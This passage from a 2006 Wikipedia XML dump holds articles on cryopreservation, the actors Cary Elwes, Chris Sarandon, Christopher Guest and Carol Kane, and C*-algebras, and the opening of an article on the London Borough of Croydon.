[[Vitrification]] provides the benefits of cryopreservation without the damage due to ice formation. In clinical cryropreservation, [[vitrification]] usually requires the addition of [[cryoprotectant]]s prior to cooling. The cryoprotects act like antifreeze: they lower the freezing temperature. They also increase the viscosity. Instead of [[crystal]]lizing, the syrupy solution turns into a soft glass - i.e. it vitrifies. Vitrification of water is promoted by rapid cooling, and can be achieved without cryoprotectants by an extremely rapid drop in temperature (millions of degrees per second). The rate that is required to attain glasy state in pure water was considered to be impossible until recently (Phys Rev Lett. 2005 Dec 2;95(23):235702).

One of the most important early workers on the theory of cryopreservation was [[James Lovelock]] of [[Gaia theory (science)|Gaia theory]] fame.  Dr. Lovelock's work suggested that damage to red [[blood]] cells during freezing was due to [[osmosis|osmotic]] stresses. Lovelock in early 1950s had also suggested that increasing salt concentrations in a cell as it dehydrates to lose water to the external ice might cause damages to the cell (Mazur, 1970, Cryobiology: The freezing of biological systems. Science, 168:939).

[[Water bear]]s (or ''[[tardigrada]]''), microscopic multicellular organisms, can survive [[freezing]] at low temperatures by replacing most of their internal water with the [[sugar]] [[trehalose]]. Sugars and other solutes that do not easily crystallize have the effect of limiting the stresses that damage [[cell (biology)|cell]] [[biological membrane|membrane]]s. Trehalose is a sugar that does not readily crystallize. Mixtures of solutes can achieve similar effects. Some solutes, including salts, have the disadvantage that they may be toxic at high concentrations.

Two conditions usually required to allow vitrification are an increase in the viscosity and a depression of the freezing temperature. Many solutes do both, but larger molecules generally have larger effect, particularly on viscosity. Rapid cooling also promotes vitrification.

In artificial cryopreservation, the solute must penetrate the cell membrane in order to achieve increased viscosity and depressed freezing temperature inside the cell. Sugars do not readily permeate through the membrane. Those solutes that do, such as dimethylsulfoxide, a common cryoprotectant, are often toxic in high concentration. One of the difficult compromises faced in artificial cryopreservation is limiting the damage produced by the cryoprotectant itself.

Nevertheless, suitable combinations of cryoprotectants and regimes of rapid cooling and rinsing during warming often allow the successful cryopreservation of biological materials, particularly cell suspensions or thin tissue samples. Examples include:
*[[Semen]] (which can be used successfully almost indefinitely after cryopreservation), 
*[[Blood]] (special cells for transfusion, or [[stem cell]]s)
*Tissue samples like [[tumor]]s and [[Histology|histological cross sections]]
* human eggs (oocyte)
* &quot;[Human] [[embryos]] that are 2, 4 or 8 cells when frozen ... pregnancies have been reported from embryos stored for 9 years. ... Many studies have evaluated the children born from frozen embryos (“frosties”). The result has uniformly been positive with no increase in birth defects or development abnormalities.&quot; [http://www.givf.com/embryov.cfm]
In general, cryopreservation is easier for thin samples because these can be cooled more quickly and so require lower doses of toxic cryoprotectants. The goal of cryopreserving human livers and hearts for storage and transplant is still some distance away.

*Freezing of human remains, either the entire body or just the head is known as [[cryonics]]. This is in a different category from the cryopreservation examples described above because, while many cryopreserved cell suspensions or thin tissue samples have been warmed and successfully used, this is not the case for frozen heads or bodies. Proponents of cryonics hope that future technology will be able to undo the damage done during freezing.

==External links==
* [http://www.ivf.com/freezing.html www.ivf.com/freezing.html] &lt;-- human egg (oocyte) --&gt;
* [http://www.societyforcryobiology.org/ www.societyforcryobiology.org]
* [http://www.sltb.info/ www.sltb.info]
* [http://www.carleton.ca/~kbstorey www.carleton.ca/~kbstorey]
* [http://www.phys.unsw.edu.au/~jw/cryoblurb.html Cellular cryobiology and anhydrobiology]

[[Category:Cryobiology]]

[[fa:سرماداری]]
[[he:הקפאה קריוגנית]]</text>
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  <page>
    <title>Cary Elwes</title>
    <id>7179</id>
    <revision>
      <id>39431735</id>
      <timestamp>2006-02-13T02:22:55Z</timestamp>
      <contributor>
        <username>Postdlf</username>
        <id>29695</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] removing category reposted in violation of [[Wikipedia:Categories_for_deletion/Log/2005_August_19#Category:Roman_Catholic_actors|CFD]]</comment>
      <text xml:space="preserve">[[Image:CaryElwes.jpg|right|thumb|Cary Elwes in ''The Princess Bride'']]

'''Cary Elwes''' (born '''Ivan Simon Cary Elwes''' in the [[United Kingdom|U.K.]] on [[October 26]], [[1962]]) is a [[Great Britain|British]] [[actor]], best known for his performances in ''[[The Princess Bride (film)|The Princess Bride]]'', ''[[Glory]]'', ''[[Saw (film)|Saw]]'', and ''[[Robin Hood: Men in Tights]]''.

Elwes (pronounced &quot;El-wez&quot;) attended [[Harrow School]] in [[England]], and [[Sarah Lawrence College]] in [[Yonkers, New York]], where he studied, among other acting-related subjects,  German Expressionist Film.  

Elwes descends from a staunchly [[Roman Catholic]] [[Recusancy|recusant]] family on his father's side (originally known as the &quot;Cary-Elwes&quot; family, but now many branches of the family are now simply known as &quot;Elwes&quot;) which includes noted British [[monk]]s and [[bishop]]s, such as Abbott [[Columba Cary-Elwes]], Archbishop [[Dudley Cary-Elwes]] and Father [[Luke Cary-Elwes]]. His artist father, [[Dominick Elwes]], had moved in the circles of high society (and been friends with [[Lord Lucan]] and [[Lady Annabel Goldsmith]] to whom he was also related) before he took his own life in [[1975]]. 

His mother, [[interior designer]] [[Tessa Kennedy]], also a Catholic, eloped with his father in [[1957]] as a teenager to great [[scandal]]. She is of [[Anglo-Irish]] and [[Serbia|Serbo]]-[[Croatia|Croatian]] extraction. She is married to [[Jew]]ish-American [[Hollywood]] executive [[Elliott Kastner]] (see [http://www.imdb.com/name/nm0440990/]).

Elwes became engaged to the [[photographer]] Lisa Marie Kurbikoff in 1997 in [[Paris]]. The wedding took place in 2001 in [[California]]. 

Elwes has 2 brothers, [[Cassian Elwes|Cassian]] and [[Damian Elwes|Damian]], who are also involved in the entertainment industry.

Elwes filed a lawsuit in August 2005 against his management firm and the producers of ''Saw''. He alleged that he was promised &quot;a minimum of one percent of the producers' net profits&quot; and did not receive the full amount as promised [http://www.theage.com.au/news/film/not-everyone-happy-with-their-cut-from-saw/2005/08/20/1124435169494.html].

==Partial filmography==
*''[[Pope John Paul II (movie)|Pope John Paul II]]'' (TV) ([[2005]] - [[Karol Wojtyła]])
* ''[[The Cat Returns]]'' (voice) [[2005]]
* ''[[Porco Rosso]]'' (voice) [[2005]]
* ''[[Ella Enchanted]]'' ([[2004]])
* ''[[Saw (movie)|Saw]]'' ([[2004]])
* ''[[American Crime]]'' ([[2004]])
* ''[[Comic Book Villains]]'' ([[2002]]) 
* ''[[The Cat's Meow]]'' ([[2001]])
* ''[[Shadow of the Vampire]]'' ([[2000]])
* ''[[Cradle Will Rock]]'' ([[1999]])
* ''[[Quest for Camelot]]'' (voice) ([[1998]]) 
* ''[[The Pentagon Wars]]'' ([[1998]])
* ''[[Kiss the Girls]]'' ([[1997]]) 
* ''[[The Informant]]'' ([[1997]]) 
* ''[[Liar Liar]]'' ([[1997]])
* ''[[Twister (movie)|Twister]]'' ([[1996]])
* ''[[Whisper of the Heart]]'' ([[1995]])
* ''[[The Jungle Book (1994 movie)|The Jungle Book]]'' ([[1994]])
* ''[[The Chase]]'' ([[1994]])
* ''[[Robin Hood: Men in Tights]]'' ([[1993]])
* ''[[The Crush]]'' ([[1993]])
* ''[[Bram Stoker's Dracula]]'' ([[1992]])
* ''[[Leather Jackets]]'' ([[1992]])
* ''[[Hot Shots!]]'' ([[1991]])
* ''[[Days of Thunder]]'' ([[1990]])
* ''[[Glory (movie)|Glory]]'' ([[1989]])
* ''[[The Princess Bride (film)|The Princess Bride]]'' ([[1987]])
* ''[[Lady Jane (movie)|Lady Jane]]'' ([[1986]])
* ''[[Another Country (play)|Another Country]]''  ([[1984]])

==External links==
*{{imdb name|id=0000144|name=Cary Elwes}} 
*Elwes's wife, {{imdb name|id=0475623|name=Lisa Marie Kurbikoff}}

[[Category:1962 births|Elwes, Cary]]
[[Category:Living people|Elwes, Cary]]
[[Category:Actors and actresses appearing on CSI|Elwes, Cary]]
[[Category:Batman actors|Elwes, Cary]]
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  <page>
    <title>Chris Sarandon</title>
    <id>7180</id>
    <revision>
      <id>38168037</id>
      <timestamp>2006-02-04T17:43:32Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">[[image:csarandon.jpg|thumb|150px|Chris Sarandon]]
'''Chris Sarandon''' (born [[July 24]], [[1942]]) is an [[United States|American]] actor. He was married to the actress [[Susan Sarandon]] who he met as a student at [[The Catholic University of America]], who retained her married name after their divorce. He has appeared in a large number of smaller budget genre films and distinguishes himself in most of his roles due to his intensity and dedication to the craft of acting.  He is currently married to Joanna Hall Gleason and has a 21-year-old daughter, Stephanie.

==Selected work==
===Filmography===
*''[[The Princess Bride (film)|The Princess Bride]]'' - Prince Humperdinck 
*''[[Child's Play]]'' - Detective Mike Norris 
*''[[Dog Day Afternoon]]''
*''[[The Sentinel (movie)|The Sentinel]]''
*''[[Fright Night]]'' - Jerry Dandridge (vampire)
*''[[The Nightmare Before Christmas]]'' - [[Jack Skellington]] (voice) (also voiced Jack in the [[Computer and video games|video games]] ''[[Kingdom Hearts]]'' and ''[[The Nightmare Before Christmas: Oogie's Revenge]]'')
*''[[Loggerheads]]''
*''[[Nausicaä of the Valley of the Wind]]'' - Kurotowa (voice)

===Television===
*''[[Star Trek: Deep Space Nine]]'' - &quot;[[Rivals (DS9 episode)|Rivals]]&quot;

*''[[Charmed]]''- &quot;[[Necromancer/Armand]]&quot;

==External links==
* {{imdb name|id=0001697|name=Chris Sarandon}}
* {{memoryalpha}}

{{US-film-actor-stub}}

 &lt;!-- Dog Day Afternoon --&gt;

[[Category:1942 births|Sarandon, Chris]]
[[Category:Living people|Sarandon, Chris]]
[[Category:Actors and actresses appearing on ER|Sarandon, Chris]]
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[[Category:Best Supporting Actor Oscar Nominee|Sarandon, Chris]]
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  <page>
    <title>Christopher Guest</title>
    <id>7182</id>
    <revision>
      <id>40785564</id>
      <timestamp>2006-02-23T00:24:16Z</timestamp>
      <contributor>
        <username>Grenavitar</username>
        <id>142208</id>
      </contributor>
      <minor />
      <comment>/* External links */ merge boxes</comment>
      <text xml:space="preserve">&lt;!-- Unsourced image removed: [[image:cguest.jpg|thumb|Christopher Guest as Nigel Tufnel in ''[[This Is Spinal Tap]]''.]] --&gt;
'''Christopher Haden-Guest, 5th Baron Haden-Guest''' (born [[February 5]], [[1948]] in [[New York]], [[USA]]), known as '''Christopher Guest''', is an actor, writer, director, composer, and musician.

He is best known for his portrayal of [[Nigel Tufnel]] in the [[mockumentary]] [[film]] ''[[This Is Spinal Tap]]'', and his time as a cast member on [[NBC]]'s ''[[Saturday Night Live]]'' ([[History of SNL:1980-1985#1984-85 Season|1984-1985]]). Guest made his first appearance as Tufnel on the [[1980]] album ''[[Lenny and the Squigtones]]'' by &quot;Lenny and Squiggy&quot;' (comedians [[Michael McKean]] and [[David Lander]]).

He also appeared as Count Rugen in ''[[The Princess Bride (film)|The Princess Bride]]'', and as Dr. Stone in the [[1992]] film ''[[A Few Good Men]]''.

His directorial debut was for the film ''[[The Big Picture (film)|The Big Picture]]''; he went on to write, act in, and direct several heavily [[Improvisational comedy|improvised]] mockumentaries:
*''[[Waiting for Guffman]]'' ([[1996 in film|1996]]) - as Corky St. Clair
*''[[Best in Show (film)|Best in Show]]'' ([[2000 in film|2000]]) - as Harlan Pepper
*''[[A Mighty Wind]]'' ([[2003 in film|2003]]) - as Alan Barrows
*He also had a cameo role in the [[1986]] remake of [[Little Shop of Horrors]] starring [[Rick Moranis]]

In [[April 2005]], he announced he would no longer make mockumentaries, because he didn't find them funny anymore. However, it has since been confirmed that another mockumentary is planned. The film, ''[[For Your Consideration (film)|For Your Consideration]]'', has been confirmed by actors Michael McKean and [[Ricky Gervais]]. Guest will be playing the character of Jay Berman, along with his usual writing and directing duties.

In a [[2005]] poll to find ''[[The Comedian's Comedian]]'', he was voted amongst the top 50 comedy acts ever by fellow comedians and comedy insiders.

==Personal life==
Guest was born in [[New York City]], the son of [[England|English]]-born [[Peter Haden-Guest, 4th Baron Haden-Guest|4th Baron Haden-Guest]], and onetime [[CBS]]-executive, Jean Pauline Hindes ([http://www.thepeerage.com/p12485.htm#i124845]]), a [[Jewish]] [[United States|American]].

Guest married [[Jamie Lee Curtis]] in [[1984]], at the home of their mutual friend [[Rob Reiner]]. They have two [[adoption|adopted]] children: Anne (born in 1986) and Thomas (born in 1996).

Guest became the [[Baron Haden-Guest|5th Baron Haden-Guest]], of [[Saling]] in the [[Essex|County of Essex]], when his father died in [[1996]]. According to an article in ''[[The Guardian]]'', Guest attended the [[House of Lords]] regularly until the passage of the [[House of Lords Act 1999]] barred most hereditary peers from their seats. In the article Guest remarked:
{{cquote|There's no question that the old system was unfair. I mean, why should you be born to this? But now it's all just sheer cronyism. The Prime Minister can put in whoever he wants and bus them in to vote. The Upper House should be an elected body, it's that simple.}}

As Guest's children are adopted, they cannot inherit his Barony under the terms of the [[letters patent]] that created it. The current [[heir presumptive]] to the title is Guest's brother, [[Nicholas Haden-Guest]].

==External links==
*{{imdb name|id=0001302|name=Christopher Guest}}
*[http://film.guardian.co.uk/interview/interviewpages/0,6737,1118875,00.html Interview for release of ''A Mighty Wind'']

{{start box}}
{{succession box | title=[[Weekend Update]] as Saturday Night News | before=[[Brad Hall]]| after=[[Dennis Miller]]| years=1984&amp;ndash;1985}}
{{incumbent succession box | title=[[Baron Haden-Guest]] | before=[[Peter Haden-Guest, 4th Baron Haden-Guest|Peter Haden-Guest]] | start=1996}}
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[[Category:1948 births|Guest, Christopher]]
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[[Category:Television actors|Guest, Christopher]]

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  </page>
  <page>
    <title>Carol Kane</title>
    <id>7183</id>
    <revision>
      <id>41010059</id>
      <timestamp>2006-02-24T13:28:40Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Caps in headers</comment>
      <text xml:space="preserve">[[Image:CarolKane.jpg|thumbnail|150px|Carol Kane]]
'''Carol Kane''' (born '''Carolyn Laurie Kane''' on [[June 18]], [[1952]]) is an [[United States|American]] [[Actor|actress]] from [[Cleveland, Ohio]].  

Kane is best known for her portrayal of Simka Dahblitz-Gravas, wife of Latka Gravas ([[Andy Kaufman]]), on the American television series ''[[Taxi (TV series)|Taxi]]'' from [[1981]] to [[1983]]. Kane earned two [[Emmy Award]]s for her work in the series. 

Kane is currently starring in the [[Broadway theatre|Broadway]] [[musical theatre|musical]] ''[[Wicked (musical)|Wicked]]'', playing [[Madame Morrible]], a role which she had previously played in the show's first national tour.

She has guest-starred on a [[1994]] episode of ''[[Seinfeld]]'' and had a supporting role in the short-lived [[1996]]-[[1997]] [[sitcom]] ''Pearl'', which starred [[Rhea Perlman]].

==Partial filmography==
* ''[[The Pacifier]]'' (2005) - Helga
* ''[[Man on the Moon]]'' (1999) - Herself/Simka Dahblitz
* ''[[Jawbreaker (film)|Jawbreaker]] (1999) - Ms. Sherwood
* ''Big Bully'' (1996) - Faith Bigger
* ''[[Addams Family Values]]'' (1993) - Grandmama
* ''[[Scrooged]]'' (1988) - The Ghost of Christmas Present
* ''[[License to Drive]]'' (1988)- Mrs. Anderson
* ''[[The Princess Bride (film)|The Princess Bride]]'' (1987) - Valerie
* ''[[Jumpin' Jack Flash (film)|Jumpin' Jack Flash]]'' (1986) - Cynthia
* ''[[When a Stranger Calls (1979 film)|When a Stranger Calls]] (1979)- Jill Johnson
* ''[[Dog Day Afternoon]]'' (1975) - Jenny
* ''[[Hester Street]]'' (1975) - Gitl
* ''[[The Last Detail]]'' (1973) - Young Whore
* ''[[Carnal Knowledge]]'' (1971) - Jennifer

==Partial other works==
* ''[[The Happy Elf]]'' (2005) - Gilda (voice)
* ''[[Wicked (musical)|Wicked]]'' (2005) - [[Madame Morrible]] ([[Broadway theatre|Broadway]] [[musical theatre|musical]])
* ''[[Seinfeld]]'' (1994) - &quot;Corinne&quot; in episode: &quot;The Marine Biologist&quot; 
* ''[[Tales from the Crypt]]'' (1990) - &quot;Judy&quot; in episode: &quot;Judy, You're Not Yourself Today&quot;
* ''[[Cheers]]'' - (1984) &quot;Amanda Boyer&quot; in episode: &quot;A Ditch in Time&quot; 
* ''[[Taxi (TV series)|Taxi]]'' - (1980) &quot;Simka Dahblitz&quot; 

==External links==
* [http://imdb.com/name/nm0001406/ Carol Kane] at the [[Internet Movie Database]] 
* [http://www.open.org/~glennab/carolkanefanpage.htm Carol Kane Unofficial Fan Page]
* [http://voicechasers.com/database/showactor.php?actorid=3461 Carol Kane] at [http://voicechasers.com VoiceChasers]

[[Category:1952 births|Kane, Carol]]
[[Category:American film actors|Kane, Carol]]
[[Category:American television actors|Kane, Carol]]
[[Category:Best Actress Oscar Nominee|Kane, Carol]] &lt;!-- Hester Street --&gt;
[[Category:Jewish American actors|Kane, Carol]]
[[Category:Living people|Kane, Carol]]
[[Category:People from Ohio|Kane, Carol]]

[[de:Carol Kane]]</text>
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  <page>
    <title>C*-algebra</title>
    <id>7184</id>
    <revision>
      <id>39385395</id>
      <timestamp>2006-02-12T20:48:23Z</timestamp>
      <contributor>
        <username>Shanes</username>
        <id>94147</id>
      </contributor>
      <minor />
      <comment>/* Abstract characterization */  wfy</comment>
      <text xml:space="preserve">'''C*-algebras''' are an important area of research in [[functional analysis]], a branch of [[mathematics]].  A C*-algebra can be defined concretely as a [[complex number|complex]] [[algebra over a field|algebra]] ''A'' of linear operators on a [[complex number|complex]] [[Hilbert space]] with two additional properties:

* ''A'' is a topologically [[closed set]] in the [[norm topology]] of operators.

* ''A'' is closed under the operation taking [[adjoint of an operator|adjoint]]s of operators.

It is generally believed that C*-algebras were first considered primarily for their use in [[quantum mechanics]] to [[model_(abstract)|model]] algebras of physical [[observable]]s.  This line of research began in an extremely rudimentary form with [[Werner Heisenberg]]'s [[matrix mechanics]] and in a more mathematically developed form with [[Pascual Jordan]] around [[1933]].  Subsequently [[John von Neumann]] attempted to establish a general framework for these algebras which culminated in a series of papers on rings of operators.  These papers considered a special class of C*-algebras which are now known as [[von Neumann algebra]]s.

Around [[1943]], the work of [[Israel Gelfand]], [[Mark Naimark]] and [[Irving Segal]] yielded an  abstract characterisation of C*-algebras making no reference to operators.

C*-algebras are now an important tool in the theory of unitary representations of locally compact groups, and are also used in algebraic formulations of quantum mechanics. 

== Abstract characterization ==

We begin with the abstract characterization of C*-algebras given in the 1943 paper by Gel'fand and Naimark.

A C*-algebra ''A'' is a [[Banach algebra]] over the field of [[complex number|complex numbers]], together with a map * : ''A'' &amp;rarr; ''A'' called [[involution]]. The image of an element ''x'' of ''A'' under involution is written ''x''*. Involution has the following properties:

* For all ''x'', ''y'' in ''A'':

::&lt;math&gt; (x + y)^* = x^* + y^* \quad &lt;/math&gt;

::&lt;math&gt; (x y)^* = y^* x^*. \quad &lt;/math&gt;

* For every &amp;lambda; in '''C''' and every ''x'' in ''A'':

::&lt;math&gt; (\lambda x)^* = \overline{\lambda} x^*. &lt;/math&gt;

* For all ''x'' in ''A''

::&lt;math&gt; (x^*)^* = x. \quad  &lt;/math&gt;

* The '''C* condition''' holds for   all ''x'' in ''A'':

::&lt;math&gt;  \|x x^* \| = \|x\|^2. &lt;/math&gt;

Any C*-algebra is automatically a [[B-star-algebra|'''B*-algebra''']], since
the C* condition implies that 

::&lt;math&gt;  \|x \| = \|x^*\| &lt;/math&gt;

for all ''x'' in ''A''. However, not every B*-algebra is a C*-algebra.

A [[bounded linear map]] &amp;pi; : ''A'' &amp;rarr; ''B'' between B*-algebras ''A'' and ''B'' is called a '''*-homomorphism''' if

* For ''x'' and ''y'' in ''A''

::&lt;math&gt; \pi(x y) = \pi(x) \pi(y). \quad &lt;/math&gt;

* For ''x'' in ''A'' 

::&lt;math&gt; \pi(x^*) = \pi(x)^*. \quad &lt;/math&gt;

In the case of C*-algebras, the boundedness condition is superfluous. In fact, any  *-homomorphism between C*-algebras is [[contraction mapping|contractive]]. If &amp;pi; is [[bijective]], then its inverse is also a *-homomorphism and &amp;pi; is called a '''*-isomorphism''' and ''A'' and ''B'' are said to be '''*-isomorphic'''.

== Examples ==

=== Finite-dimensional C*-algebras ===

The algebra M&lt;sub&gt;n&lt;/sub&gt;('''C''') of ''n''-by-''n'' [[matrix (mathematics)|matrices]] over '''C''' becomes a C*-algebra if we consider matrices as operators on the Euclidean space '''C'''&lt;sup&gt;''n''&lt;/sup&gt; and  use the operator norm ||.|| on matrices. The involution is given by the [[conjugate transpose]].  More generally, one can consider finite [[direct sum]]s of matrix algebras. 

'''Theorem'''.  A finite-dimensional C*-algebra ''A'' is [[canonical]]ly isomorphic to a finite direct sum 
:&lt;math&gt; A = \bigoplus_{e \in \min A } A e&lt;/math&gt; 
where min ''A'' is the set of minimal nonzero self-adjoint central projections of ''A''. Each C*-algebra ''Ae'' is isomorphic (in a noncanonical way) to the full matrix algebra M&lt;sub&gt;dim(e)&lt;/sub&gt;('''C'''). The
finite family indexed on min ''A'' given by {dim(e)}&lt;sub&gt;e&lt;/sub&gt;
is called the ''dimension vector'' of ''A''.  This vector uniquely determines the isomorphism class of a finite-dimensional C*-algebra.

===C*-algebras of operators ===

The prototypical example of a C*-algebra is the algebra ''L(H)'' of continuous [[linear operator]]s defined on a complex [[Hilbert space]] ''H''; here ''x''* denotes the [[adjoint operator]] of the operator ''x'' : ''H'' &amp;rarr; ''H''. In fact, every C*-algebra ''A'' is *-isomorphic to a norm-closed adjoint closed subalgebra of ''L(H)'' for a suitable Hilbert space ''H''; this is the content of the [[Gelfand–Naimark theorem]].

=== Commutative C*-algebras ===

Let ''X'' be a [[locally compact]] Hausdorff space.  The space C&lt;sub&gt;0&lt;/sub&gt;(''X'') of complex-valued continuous functions on ''X'' that ''vanish at infinity'' (defined in the article on [[locally compact|local compactness]]) form a commutative C*-algebra C&lt;sub&gt;0&lt;/sub&gt;(''X'') under pointwise multiplication and addition. The involution is pointwise conjugation. C&lt;sub&gt;0&lt;/sub&gt;(''X'') has a multiplicative unit element iff ''X'' is  compact.  As does any C*-algebra, C&lt;sub&gt;0&lt;/sub&gt;(''X'') has an [[approximate identity]].
In the case of C&lt;sub&gt;0&lt;/sub&gt;(''X'') this is immediate: consider the directed set of compact subsets of ''X'', and for each compact ''K'' let ''f&lt;sub&gt;K&lt;/sub&gt;'' be a function of compact support which is identically 1 on ''K''.  Such functions exist by the [[Tietze-Urysohn theorem]] which applies to locally compact Hausdorff spaces. ''{f&lt;sub&gt;K&lt;/sub&gt;}&lt;sub&gt;K&lt;/sub&gt;'' is an approximate identity.

The [[Gelfand representation]] states that every commutative C*-algebra is *-isomorphic to the algebra C&lt;sub&gt;0&lt;/sub&gt;(''X''), where ''X'' is the space of [[Character (mathematics)|characters]] equipped with the [[Weak topology|weak* topology]]. Furthermore if C&lt;sub&gt;0&lt;/sub&gt;(''X'') is [[isomorphism|isomorphic]] to C&lt;sub&gt;0&lt;/sub&gt;(''Y'') as C*-algebras, it follows that ''X'' and ''Y'' are [[homeomorphism|homeomorphic]]. This characterization is one of the motivations for the [[noncommutative topology]] and [[noncommutative geometry]] programs.

=== The C*-algebra of compact operators === 

Let ''H'' be a separable infinite-dimensional Hilbert space. The algebra ''K''(''H'') of [[compact operator]]s on ''H'' is a [[norm closed]] subalgebra of ''L''(''H''). It is also closed under involution; hence it is a  C*-algebra.  

Though ''K''(''H'')  does not have an identity element; an [[approximate identity]] for ''K''(''H'') can be easily displayed. To be specific, ''H'' is isomorphic to the space  of square summable sequences ''l''&lt;sup&gt;2&lt;/sup&gt;; we may assume that 

:&lt;math&gt; H = \ell^2. \quad &lt;/math&gt;

For each natural number ''n'' let ''H''&lt;sub&gt;''n''&lt;/sub&gt; be the subspace of sequences of ''l''&lt;sup&gt;2&lt;/sup&gt; which vanish for indices 

:&lt;math&gt; k \geq n &lt;/math&gt;

and let 

:&lt;math&gt; e_n \quad &lt;/math&gt;

be the orthogonal projection onto ''H''&lt;sub&gt;''n''&lt;/sub&gt;. The sequence {''e''&lt;sub&gt;''n''&lt;/sub&gt;}&lt;sub&gt;''n''&lt;/sub&gt; is an approximate identity for ''K''(''H'').

The [[quotient]] of ''L''(''H'') by ''K''(''H'') is the [[Calkin algebra]].

=== C*-enveloping algebra ===

Given a B*-algebra ''A'' with an [[approximate identity]], there is a unique (up to C*-isomorphism) C*-algebra '''E'''(''A'') and *-morphism &amp;pi; from ''A'' into '''E'''(''A'') which is [[universal object|universal]], that is every other B*-morphism &amp;pi;': ''A'' &amp;rarr; ''B'' factors uniquely through &amp;pi;.  '''E'''(''A'') is called the [[C*-enveloping algebra]] of the B*-algebra  ''A''.  

Of particular importance is the C*-algebra of a [[locally compact group]] ''G''.  This is defined as the enveloping C*-algebra enveloping algebra of the [[group algebra]] of ''G''.  The  C*-algebra of ''G''  provides context for general [[harmonic analysis]] of ''G'' in the case ''G'' is non-abelian.  In particular, the dual of locally compact group is defined to the primitive ideal space of the group C*-algebra.  See [[spectrum of a C*-algebra]].

=== von Neumann algebras ===

[[W-star-algebra|von Neumann algebras]], known as W* algebras before the 1960s, are a special kind of C*-algebra. They are required to be closed in a topology which is weaker than the norm topology. Their study is a specialized area of functional analysis in itself.

== C*-algebras and quantum field theory ==

In [[quantum field theory]], one typically describes a physical system with a C*-algebra ''A'' with unit element; the self-adjoint elements of ''A'' (elements ''x'' with ''x''* = ''x'') are thought of as the ''observables'', the measurable quantities, of the system. A ''state'' of the system is defined as a positive functional on ''A'' (a '''C'''-linear map &amp;phi; : ''A'' &amp;rarr; '''C''' with &amp;phi;(''u'' ''u''*) &gt; 0 for all ''u''&amp;isin;''A'') such that &amp;phi;(1) = 1. The expected value of the observable ''x'', if the system is in state &amp;phi;, is then &amp;phi;(''x'').

See [[Local quantum physics]]. 

== Properties of C*-algebras ==

C*-algebras have a large number of properties which are technically convenient. These properties can be established by  use the [[continuous functional calculus]] or by reduction to commutative  C*-algebras.  In the latter case, we can use the fact that the structure of these is completely determined by the [[Gelfand isomorphism]].

* Any *-morphism between C*-algebras has norm &amp;le; 1.

* An [[injective]] *-morphism between C*-algebras is [[isometry|isometric]].

* The algebraic [[quotient]] of a C*-algebra by a closed proper two-sided [[ideal]] is a C*-algebra in a unique way.

* The set of elements of a C*-algebra ''A'' of the form ''x''*''x'' forms a closed [[convex cone]].  This cone is identical to the elements of the form ''x'' ''x''*. Elements of this cone are called ''non-negative'' (or sometimes ''positive'', even though this terminology conflicts with its use for elements of '''R'''.)

* The set of self-adjoint elements of a C*-algebra ''A'' naturally has the structure of an [[partial order|partially ordered]] [[vector space]]; the ordering is usually denoted &amp;ge;. In this ordering, a self-adjoint element ''x'' of ''A'' satisfies ''x'' &amp;ge; 0 iff ''x''  is non-negative. Two self-adjoint elements ''x'' and ''y'' of ''A'' satisfy ''x'' &amp;ge; ''y'' if ''x'' - ''y'' &amp;ge; 0.

* Any C*-algebra ''A'' has an [[approximate identity]].  In fact, there is a directed family {''e''&lt;sub&gt;&amp;lambda;&lt;/sub&gt;}&lt;sub&gt;&amp;lambda; &amp;isin; I&lt;/sub&gt; of self-adjoint elements of ''A'' such that

:: &lt;math&gt; x e_\lambda \rightarrow x &lt;/math&gt;

:: &lt;math&gt; 0 \leq e_\lambda \leq e_\mu \leq 1\quad \mbox{ whenever } \lambda \leq \mu. &lt;/math&gt;

: In case ''A'' is [[separable]], ''A'' has a sequential approximate identity.

== References ==

* [[Alain Connes|A. Connes]], ''Noncommutative geometry'', Academic Press, 1994.  This book is widely regarded as a source of new research material, providing much supporting intuition. ISBN 0-121-85860-X

* J. Dixmier, ''Les C*-algèbres et leurs représentations'', Gauthier-Villars, 1969.  This is a somewhat dated reference, but is still considered as a high-quality technical exposition. It is available in English from North Holland press.

* G. Emch, ''Algebraic Methods in Statistical Mechanics and Quantum Field Theory'', Wiley-Interscience, 1972.  Mathematically rigorous reference which provides extensive physics background.

== See also==

* [[Algebra over a field|algebra]] 
* [[associative algebra]]
* [[Star-algebra|* algebra]]
* [[B-star-algebra|B* algebra]]
* [[K-theory]]
 
[[Category:C*-algebras|*]]
[[Category:Theoretical physics]]

[[de:C*-Algebra]]
[[es:C-estrella-álgebra]]
[[fr:C-étoile-algèbre]]
[[ja:C*-環]]</text>
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  <page>
    <title>London Borough of Croydon</title>
    <id>7185</id>
    <revision>
      <id>42109247</id>
      <timestamp>2006-03-03T22:01:49Z</timestamp>
      <contributor>
        <username>Bota47</username>
        <id>341052</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: cs</comment>
      <text xml:space="preserve">: ''For other places called '''Croydon''' see [[Croydon (disambiguation)]]''
: ''For details of the town of Croydon on which this borough is centered see [[Croydon]]''
{{ Infobox London Borough | 
   name               = London Borough of Croydon |
   short_name         = Croydon |
   imagename          = Image:LondonCroydon.png |
   status             = [[London borough]] | 
   area_rank          = 256th |
   area_km2           = 86.52 |
   ons_code           = 00AH | 
   population_rank    = 9th |
   population_year    = 2004 |
   population_total   = 340,200 |
   population_density = 3,932 | 
   ethnicity          = 70.2% White&lt;br&gt;13.3% [[British Afro-Caribbean community|Afro-Caribbean]]&lt;br&gt;11.3% [[British Asian|South Asian]]&lt;br&gt;3.1% Mixed&lt;br&gt;2.1% [[British Chinese|Chinese]] |
   url                = http://www.croydon.gov.uk/ |
   leadership         = Leader &amp; Cabinet |
   mayor              = Cllr Maggie Mansell |
   executive          = [[Labour Party (UK)|Labour]] |
   mps                = [[Richard Ottaway]]&lt;br&gt;[[Andrew Pelling]]&lt;br&gt;[[Malcolm Wicks]] |
   gla_constituency   = Croydon and Sutton |
   gla_member         = [[Andrew Pelling]]
}}
The '''London Borough of Croydon''' is a [[London borough]] in [[South London]] and part of [[Outer London]]. Its area is 34 [[square mile]]s (87 [[km²]]) and it is the largest London borough by population. At its centre is the historic town of [[Croydon]] from which the borough takes its name. Central Croydon is the largest office and retail centre in the south east of England other than central London.


==Status==

